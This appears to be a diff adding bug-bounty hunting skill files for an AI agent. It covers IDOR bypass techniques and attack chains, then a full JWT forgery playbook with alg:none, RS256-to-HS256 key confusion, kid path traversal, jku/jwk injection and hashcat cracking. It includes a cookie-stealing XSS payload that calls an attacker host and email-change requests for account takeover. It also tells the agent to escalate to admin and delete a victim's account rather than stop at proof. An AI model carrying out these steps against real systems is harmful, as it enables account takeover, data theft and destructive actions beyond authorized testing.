+ - Common in APIs built incrementally by different developers
238
+
239
+ 6. **Indirect references exposed via related objects**
240
+ - Object A (accessible) contains a reference to Object B (should be private)
241
+ - Developer only protects direct access to B, not indirect references through A
242
+
243
+ 7. **Race conditions and state-based IDORs**
244
+ - Authorization checked at creation time, not at access time
245
+ - Invites/tokens remain valid after the granting permission is revoked
246
+
247
+ 8. **Multi-tenant isolation failures**
248
+ - Developers implement per-user access control but forget cross-org boundaries
249
+ - `user_id` check present; `org_id` / `tenant_id` check absent
250
+
251
+ ---
252
+
253
+ ## Bypass Techniques
254
+
255
+ **Defense: UUIDs instead of sequential integers**
256
+ - Bypass: UUIDs often leak in other API responses, notification emails, webhooks, GraphQL queries, or JS source
257
+ - Technique: Harvest UUIDs from accessible endpoints, then replay against restricted ones
258
+
259
+ **Defense: Indirect/hashed object references**
260
+ - Bypass: Decode the hash (often base64 or simple obfuscation), or find the original ID in another response
261
+ - Technique: `echo "dXNlcl8xMjM0NQ==" | base64 -d` → `user_12345`
262
+
263
+ **Defense: Short-lived tokens per resource**
264
+ - Bypass: Tokens sometimes reusable across users if server only validates token format, not binding
265
+ - Technique: Use your own token to access another user's resource ID
266
+
267
+ **Defense: Rate limiting on enumeration**
268
+ - Bypass: Slow enumeration (1 req/5s), use distributed IPs, or exploit non-enumeration IDORs (you already know the target's ID from another leak)
269
+
270
+ **Defense: Checking `user_id` in WHERE clause**
271
+ - Bypass: Check if the same endpoint exists at a different API version (`/v1/` vs `/v2/`) — authorization logic is often version-specific
272
+ - Technique: Check JS bundles for older API version calls
273
+
274
+ **Defense: CORS restrictions**
275
+ - Bypass: IDOR doesn't require cross-origin exploitation — you're testing API endpoints directly with your own session
276
+
277
+ **Defense: "Opaque" references via server-side sessions**
278
+ - Bypass: Look for any endpoint that *returns* the internal ID, then use it elsewhere; APIs often expose IDs in `Location` headers, error messages, or metadata
279
+
280
+ **Defense: Parameter filtering/WAF on common patterns**
281
+ - Bypass: Try nested JSON `{"data": {"id": "VICTIM_ID"}}`, HTTP parameter pollution `?id=own_id&id=victim_id`, or parameter name variations `user_id`, `userId`, `uid`, `account`
282
+
283
+ ---
284
+
285
+ ## Gate 0 Validation
286
+
287
+ Before writing the report, answer all three:
288
+
289
+ 1. **What can the attacker DO right now?**
290
+ Be specific: "Attacker with a valid account can send a GET request to `/api/v1/invoices/{victim_invoice_id}` and receive the victim's full billing document including name, address, and payment amount — without any relationship to that account."
291
+
292
+ 2. **What does the victim LOSE?**
293
+ Map to CIA triad: confidentiality (data exposed), integrity (data modified), or availability (data deleted). "Victim loses confidentiality of private financial records" or "Victim's content is deleted by a third party" — vague answers fail.
294
+
295
+ 3. **Can it be reproduced in 10 minutes from scratch?**
296
+ - Two fresh accounts created ✓
297
+ - Exact HTTP request documented with victim's ID ✓
298
+ - 200 OK response showing victim's data (or confirmed state change) ✓
299
+ - No reliance on pre-existing state or timing ✓
300
+
301
+ If you can't demo it reproducibly, do not file the report.
302
+
303
+ ---
304
+
305
+ ## Real Impact Examples
306
+
307
+ **Scenario 1: Financial Data Exposure + Cross-Account Billing Fraud (Uber-style)**
308
+ An attacker discovers two related IDORs: one allows reading any organization's voucher policy configuration (exposing org IDs, employee email lists, and payment methods), and a second allows modifying voucher policies using those leaked IDs. Chained together, this enables the attacker to redirect charges to an arbitrary business account, expose employee PII across organizations, and take over invitation links — all without any elevated privileges beyond a basic user account. Impact: financial fraud + mass PII exposure across the B2B platform.
309
+
310
+ **Scenario 2: Private Repository Read via IDOR on Migration Endpoint (GitHub-style)**
311
+ A migration feature allows users to upload files to a migration job. The `migration_id` parameter is not validated against the authenticated user's ownership. An attacker creates their own migration, observes the ID format, and substitutes another user's private migration ID — gaining read access to source code files from private repositories they have no access to. Impact: complete confidentiality bypass for private intellectual property.
312
+
313
+ **Scenario 3: Account Takeover Chain via Message IDOR (Reddit-style)**
314
+ An attacker accesses another user's private message threads by substituting their `thread_id` in a messaging API endpoint. The response includes message content, metadata, and — critically — session or verification tokens sent via internal messages. The attacker leverages the token found in the messages to perform account recovery steps, escalating a read-only IDOR into full account takeover. Impact: complete account compromise of targeted users at scale.
315
+
316
+ ---
317
+
318
+ ## Chains & Compositions (Senior Hunting)
319
+
320
+ Standalone IDOR gets paid at Low-Medium for cross-tenant *read*. The real money is in chaining IDOR to a *state-change* primitive that doesn't normally permit cross-tenant action — turning "I can see victim's data" into "I own victim's account". The six chains below are the highest-paying IDOR compositions on modern bug-bounty programs.
321
+
322
+ ### Chain 1 — IDOR on `/api/users/{id}/email` + Missing Re-Auth → Password Reset → ATO
323
+
324
+ - **A.** Confirm IDOR on the email-change endpoint — request `PUT /api/users/{victim_id}/email {"email":"attacker@evil"}` from attacker's session; server changes the victim's email without ownership check.
325
+ - **B.** Hit the password-reset flow on the victim's account — server emails reset link to the **new** email (attacker's).
326
+ - **C.** Open reset link, set new password, log in as victim.
327
+ - **Impact:** Silent ATO — victim sees no email change notification because the change happens via API not via the user-facing "change email" UI which has its own audit log.
328
+ - **Real shape:** Classic ATO pattern across many SaaS bug-bounty disclosures 2018-2024. Cross-refs `hunt-ato` Path 2 (email change without re-auth).
329
+
330
+ ### Chain 2 — IDOR on File-Download + Filename-Controlled `Content-Disposition` → Reflected-XSS-Via-Download → Session Theft
331
+
332
+ - **A.** IDOR on `/api/files/{id}/download` returns any user's file given the ID.
333
+ - **B.** The download endpoint sets `Content-Disposition: attachment; filename="<user-supplied-filename>"` without sanitising newlines or quotes — attacker uploads a file with filename `"; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt`.
334
+ - **C.** Victim navigates to download → browser interprets the injected script in the response header context as HTML → JS runs same-origin → cookie/token exfil.
335
+ - **Impact:** ATO via IDOR + filename-controlled response header — neither primitive alone is critical; the chain is.
336
+ - **Real shape:** Multiple disclosed cases involving Office 365 SharePoint download endpoints, GitLab attachment downloads, SaaS export endpoints. Pairs with `hunt-xss` Chain 1 (response-header XSS class).
337
+
338
+ ### Chain 3 — IDOR via GraphQL `node(id:)` GID + Relay Relation Traversal → Cross-Tenant Mass Data Extraction
339
+
340
+ - **A.** Target uses GraphQL with Relay-style global IDs (`gid://shopify/Customer/<n>` or base64-encoded `type:id` patterns).
341
+ - **B.** `node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } }` — the top-level `node()` resolver auths the requester, but nested relations don't re-check ownership against the resolved Customer.
342
+ - **C.** Iterate IDs (decoding base64 to extract numeric, incrementing) to exfil emails, order totals, payment methods across the entire customer base.
343
+ - **Impact:** Mass cross-tenant PII / financial data extraction. Single bug, full database.
344
+ - **Real shape:** Shopify Billing IDOR H1 #2207248 ($5,000); HackerOne PolicyPageAssetGroup IDOR H1 #1618347 ($25,000). Cross-refs `hunt-graphql` Disclosed Report Citation #5 and #2.
345
+
346
+ ### Chain 4 — IDOR on `/api/teams/{id}/members` + Mass-Assignment in Body → Role Escalation on Victim Team
347
+
348
+ - **A.** Standard horizontal IDOR — `POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"}` adds attacker as a normal member without ownership check.
349
+ - **B.** The body accepts additional fields the API didn't filter: `{"email":"attacker@evil", "role":"OWNER", "permissions":["*"]}` — mass assignment leaks into the role field.
350
+ - **C.** Attacker is added to the victim team as OWNER. Now has full admin access to the victim team's resources and can remove the real owners.
351
+ - **Impact:** Cross-tenant privilege escalation via IDOR + mass assignment. The single most efficient takeover chain on SaaS team-management APIs.
352
+ - **Real shape:** Shopify undocumented `fileCopy` mutation H1 #981472 (2020, $2,000); Stripe `UpdateAtlasApplicationPerson` cross-tenant mutation H1 #1066203 (2020). Cross-refs `hunt-graphql` Disclosed Report Citation #7 and #8; pairs with `hunt-api-misconfig` Mass Assignment section.
353
+
354
+ ### Chain 5 — Soft-Delete IDOR + Post-Removal Token Validity → Persistent Cross-Tenant Access
355
+
356
+ - **A.** Identify the "remove member" endpoint that flips an `active=false` flag but doesn't invalidate the session/PAT.
357
+ - **B.** Log in as the to-be-removed user; capture session cookie or PAT.
358
+ - **C.** Have the org admin remove the user via the normal flow. Wait. Re-issue API calls using the captured token — IDOR is now *temporal* (the user no longer has permission per the policy table, but the cached auth context still passes).
359
+ - **Impact:** Weeks of post-termination cross-tenant access; GDPR/CCPA breach exposure; potential extortion leverage.
360
+ - **Real shape:** Shopify removed-staff persistence class (2022). Cross-refs `hunt-misc` Chain 1 — same root cause shape, different starting primitive.
361
+
362
+ ### Chain 6 — Double-IDOR (`/users/{id}/orders → /orders/{order_id}/refund`) → Financial Impact on Victim Merchant
363
+
364
+ - **A.** First IDOR: `GET /api/users/{victim_id}/orders` returns the victim's order list without ownership check — yields legitimate `order_id` values.
365
+ - **B.** Second IDOR: `POST /api/orders/{order_id}/refund` issues refunds without checking that the requester owns the merchant/order.
366
+ - **C.** Trigger refund on each of the victim merchant's recent orders. Money moves from merchant to customer (who is also attacker-controlled).
367
+ - **Impact:** Direct financial loss to the victim merchant. Mass-exploitable across the platform's merchant base.
368
+ - **Real shape:** Multiple disclosed e-commerce platform IDOR chains 2019-2023. Cross-refs `hunt-business-logic` Chain (financial impact via state-machine confusion).
369
+
370
+ ### Operator-level pattern
371
+
372
+ When you confirm a read-IDOR at A, immediately ask: *what state-change accepts the same ID and might also be IDOR'd?* The chain is usually one of: (1) password reset / email change at terminal step → ATO; (2) refund / withdraw / transfer → financial; (3) role-change / membership-add → privilege escalation. If your read-IDOR doesn't compose to one of those, the standalone payout is what you get. Hunt for both halves — the second is often easier to find because it shares the same auth bug class as the first.
373
+
374
+ Cross-references:
375
+ - `hunt-ato` — Chain 1, 5
376
+ - `hunt-xss` — Chain 2
377
+ - `hunt-graphql` — Chains 3, 4
378
+ - `hunt-misc` — Chain 5
379
+ - `hunt-business-logic` — Chain 6
380
+
381
+ ---
382
+
383
+ ## Related Skills & Chains
384
+
385
+ - **`hunt-auth-bypass`** — Object-level authorization failure plus route-level auth absence is the canonical IDOR-amplifier. Chain primitive: missing `req.user.id` scoping in ORM query + missing middleware on legacy `/v1/` route = unauthenticated cross-tenant data read via direct ID substitution → bulk PII dump without any session at all.
386
+ - **`hunt-ato`** — Profile-edit IDOR is the most direct path from "read someone's data" to "own their account." Chain primitive: `PATCH /api/users/{victim_uid}` accepts attacker's session + victim UID → set `email=attacker@evil.com` → trigger password reset → reset link arrives at attacker → full ATO without ever knowing victim credentials.
387
+ - **`hunt-graphql`** — GraphQL resolvers without field-level authorization are IDOR-by-default; introspection hands you the schema. Chain primitive: `__schema` introspection → enumerate every mutation accepting `id:` argument → substitute victim IDs across `updateUser`, `deleteOrg`, `transferBilling` mutations → mass IDOR fan-out from one introspection query.
388
+ - **`security-arsenal`** — Pull the IDOR Bypass Tables section for HTTP-parameter-pollution payloads (`?id=own&id=victim`), nested-JSON wrappers (`{"data":{"id":"VICTIM"}}`), and parameter-name variations (`uid`/`userId`/`user_id`/`account`) when the first direct substitution returns 403.
389
+ - **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an IDOR that returns 200 but doesn't actually leak data (empty array, redacted fields, "access denied" in body with 200 status). The 200-but-no-data IDOR is the #1 N/A driver on H1/Bugcrowd.
@@ -0,0 +1,177 @@
1
+ ---
2
+ name: hunt-jwt-crypto
3
+ description: "Hunt JWT cryptographic failures — alg:none signature-stripping and RS256→HS256 key-confusion that let an attacker forge a token for any identity (e.g. an admin) without knowing a secret. Use when the app authenticates with a JSON Web Token (an `eyJ...` Bearer token in the Authorization header, a cookie, or a login response). This skill OWNS JWT signature/crypto forgery (alg:none, key confusion, kid/jku header injection); hunt-ato covers JWT as one ATO path, hunt-auth-bypass covers SSO/SAML token trust, hunt-api-misconfig covers non-crypto JWT handling. Critical when a forged token grants access to another user's data or an admin-only endpoint."
4
+ report_count: 6
5
+ sources: hackerone_public
6
+ ---
7
+
8
+ # HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)
9
+
10
+ ## What actually pays
11
+
12
+ A JWT is `header.payload.signature`, each base64url. The signature is the only
13
+ thing stopping you from editing the payload (your identity/role) and replaying
14
+ it. It pays **High/Critical** when the verifier can be tricked into accepting a
15
+ token you forged — so you become another user or an admin without their secret.
16
+
17
+ Two classic, generic verifier flaws:
18
+
19
+ - **`alg:none`** — the verifier trusts the token's own `alg` header. Set
20
+ `alg:"none"`, drop the signature, edit the payload (e.g. `role:"admin"`,
21
+ another user's `id`/`email`). A broken verifier skips signature checking.
22
+ - **RS256 → HS256 key confusion** — the token is signed RS256 (asymmetric). The
23
+ RSA **public** key is, by definition, public. If the verifier lets you choose
24
+ HS256, it will use that public key as the HMAC *secret* — which you also know.
25
+ Sign an edited payload with HS256 using the public key and it validates.
26
+
27
+ ## Recon — is this app JWT-based?
28
+
29
+ ```
30
+ Login/token responses containing "token":"eyJ..." or Set-Cookie: token=eyJ...
31
+ Authorization: Bearer eyJ... on authenticated requests
32
+ A JWKS / public-key endpoint: /.well-known/jwks.json, /jwks, public-key in the JS bundle
33
+ ```
34
+
35
+ Decode the header (base64url the first segment). `"alg":"RS256"` → try key
36
+ confusion. Any alg → always try `alg:none` first; it's free.
37
+
38
+ ## Forging the token (never hand-encode base64 — use a JWT tool)
39
+
40
+ Use a purpose-built tool so encoding/signing is correct: **jwt_tool**
41
+ (`jwt_tool <token> -T` to tamper interactively, `-X a` for alg:none, `-X k -pk
42
+ public.pem` for key confusion), Burp's **JWT Editor** extension, or a few lines
43
+ of **PyJWT**. Each forge below is the concept plus the claim to edit.
44
+
45
+ **alg:none — become admin / another user**
46
+ ```
47
+ header: {"alg":"none","typ":"JWT"}
48
+ payload: {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
49
+ signature: (empty — keep the trailing dot: header.payload. )
50
+ ```
51
+ Some verifiers reject lowercase `none` but accept `None`/`NONE`/`nOnE` — try case variants.
52
+
53
+ **RS256 → HS256 key confusion — once you have the RSA public key**
54
+ ```
55
+ 1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
56
+ /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
57
+ bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
58
+ 2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
59
+ jwt_tool <token> -X k -pk public.pem
60
+ payload edit: {"sub":"administrator"} (or role:"admin" / another user's id)
61
+ ```
62
+
63
+ **kid header injection — verifier loads the HMAC key from a FILE named by `kid`**
64
+ ```
65
+ header: {"alg":"HS256","kid":"../../../../../../../dev/null"}
66
+ secret: "" (contents of /dev/null = empty string → sign HS256 with an empty secret)
67
+ payload: {"sub":"administrator"}
68
+ ```
69
+ Traverse out of the keys directory first. `kid` can also carry SQLi / command
70
+ injection / SSRF if the key lookup hits a DB / shell / URL — same idea: `kid` is
71
+ attacker-controlled and reaches a dangerous sink.
72
+
73
+ **jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token**
74
+ ```
75
+ 1. Host a JWKS containing a public key you control, on a server the verifier can reach.
76
+ 2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
77
+ with YOUR matching private key.
78
+ 3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
79
+ path on the target's OWN domain so the fetch resolves to your JWKS.
80
+ ```
81
+
82
+ **jwk header self-signed key injection (RS256) — embed an attacker-controlled public key in the token**
83
+ ```
84
+ header: {"alg":"RS256","jwk":{"kty":"RSA","n":"<your_rsa_modulus>","e":"AQAB"}}
85
+ payload: {"sub":"administrator"}
86
+ signature: (sign with your matching private key)
87
+ ```
88
+ Some verifiers incorrectly trust a `jwk` (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.
89
+
90
+ **Expiry / time-based claim manipulation**
91
+ ```
92
+ Remove "exp" (expiration) claim entirely — many validators skip the check if absent.
93
+ Or set "nbf" (not before) to the past and "exp" (expiration) to far future (e.g. year 2099).
94
+ Edit payload: {"sub":"administrator","nbf":1000000000,"exp":4102444800}
95
+ ```
96
+ Combined with any forging technique above (alg:none, key confusion, jwk injection), this
97
+ bypasses time-based validation when the verifier does not enforce strict expiry rules.
98
+
99
+ **Cross-tenant claim injection — escalate to another tenant's data via claim swaps**
100
+ ```
101
+ Identify tenant-related claims in a decoded real token: "org_id", "tenant", "account_id",
102
+ "workspace_id", "customer_id". Edit the target claim to another tenant's value.
103
+ Example: {"sub":"victim@org.com","org_id":1234} → change org_id to an admin's org (e.g. 9999).
104
+ ```
105
+ This is systematic IDOR via claims — if authorization logic trusts the token claims
106
+ without checking ownership server-side, you cross into another tenant's resources.
107
+ Works especially well combined with alg:none or weak-secret attacks.
108
+
109
+ Match the `payload` shape to a REAL token from the app (decode one first) — keep
110
+ its claim names, only change identity/role. A payload the app can't parse fails
111
+ for the wrong reason and wastes the attempt.
112
+
113
+ ## Offline attacks — weak HMAC secret cracking
114
+
115
+ If the token is HS256 (HMAC-based) and the secret is weak or reused from a known
116
+ password list:
117
+ ```bash
118
+ # Hashcat: mode 16500 = JWT
119
+ hashcat -a 0 -m 16500 <jwt_file> rockyou.txt
120
+
121
+ # jwt_tool: built-in wordlist cracking
122
+ jwt_tool <token> -C -d wordlist.txt
123
+ ```
124
+ Once the secret is cracked, forge any token using HS256 with that secret (via
125
+ jwt_tool or PyJWT).
126
+
127
+ ## Automated attack automation
128
+
129
+ Use purpose-built JWT attack suites to run all known forgery modes in parallel:
130
+ ```bash
131
+ # jwt_tool: auto-try alg:none, key confusion, kid injection, etc.
132
+ jwt_tool <token> -X a
133
+
134
+ # Nuclei: automated JWT vuln scanning
135
+ nuclei -u <target_url> -t jwt/ -timeout 10s
136
+ ```
137
+ Run these early in JWT recon; they often find the vulnerability faster than
138
+ manual chaining of individual techniques.
139
+
140
+ ## Drive to the ADMIN objective — do not stop at a working forge
141
+
142
+ A forge that loads YOUR own `/my-account` is NOT the goal — it just proves the
143
+ forge mechanism works. The objective is almost always **admin** (reach an
144
+ admin-only page and perform an admin action, e.g. delete a user). Once any forge
145
+ is accepted, IMMEDIATELY escalate — change identity to admin AND aim at the admin
146
+ endpoint. Do not keep re-forging `/my-account` or re-logging-in; that is drift.
147
+
148
+ Fixed escalation sequence (run it in order, do not loop on earlier steps):
149
+
150
+ 1. Forge admin identity and hit the admin page (try these claim names — match a
151
+ decoded real token: `sub`, `role`, `isAdmin`, `username`), e.g. an HS256 token
152
+ with `kid` pointed at `/dev/null` and an empty secret, payload `{"sub":"administrator"}`,
153
+ sent to `GET /admin`.
154
+ 2. When `/admin` returns 200 (you'll see admin controls / a delete link), perform
155
+ the admin action with the SAME forged token — a typical one is deleting a
156
+ target user account, e.g. `GET /admin/delete?username=<victimuser>` (some apps
157
+ use `POST /admin/delete` — read the admin page for the exact form/verb).
158
+
159
+ A 401 on `/admin` means the forge/claim is wrong — change ONE thing (the kid
160
+ depth, the claim name/value, or alg) and retry `/admin`. Never retreat to a bare
161
+ unauthenticated `GET /admin` (no token) — that always 401s and wastes effort.
162
+
163
+ ## Proof of impact
164
+
165
+ Point the forged token at a protected/admin endpoint and prove you read data you
166
+ should not: an account/user listing (multiple users' emails), another user's
167
+ object, or a completed admin action (the deleted-user confirmation). Reading the
168
+ admin user list or performing the admin action with a forged token IS the exploit.
169
+ A 200 that returns only your own data, or a 401, is not proof.
170
+
171
+ ## Validation discipline
172
+
173
+ - Decode and confirm the token you sent actually carries the edited claims.
174
+ - The win is **cross-identity data access**, not merely a 200. Show the foreign
175
+ user data (e.g. other users' emails) in the response.
176
+ - `alg:none` rejected (401) just means that flaw is patched — try key confusion
177
+ before concluding the app is safe.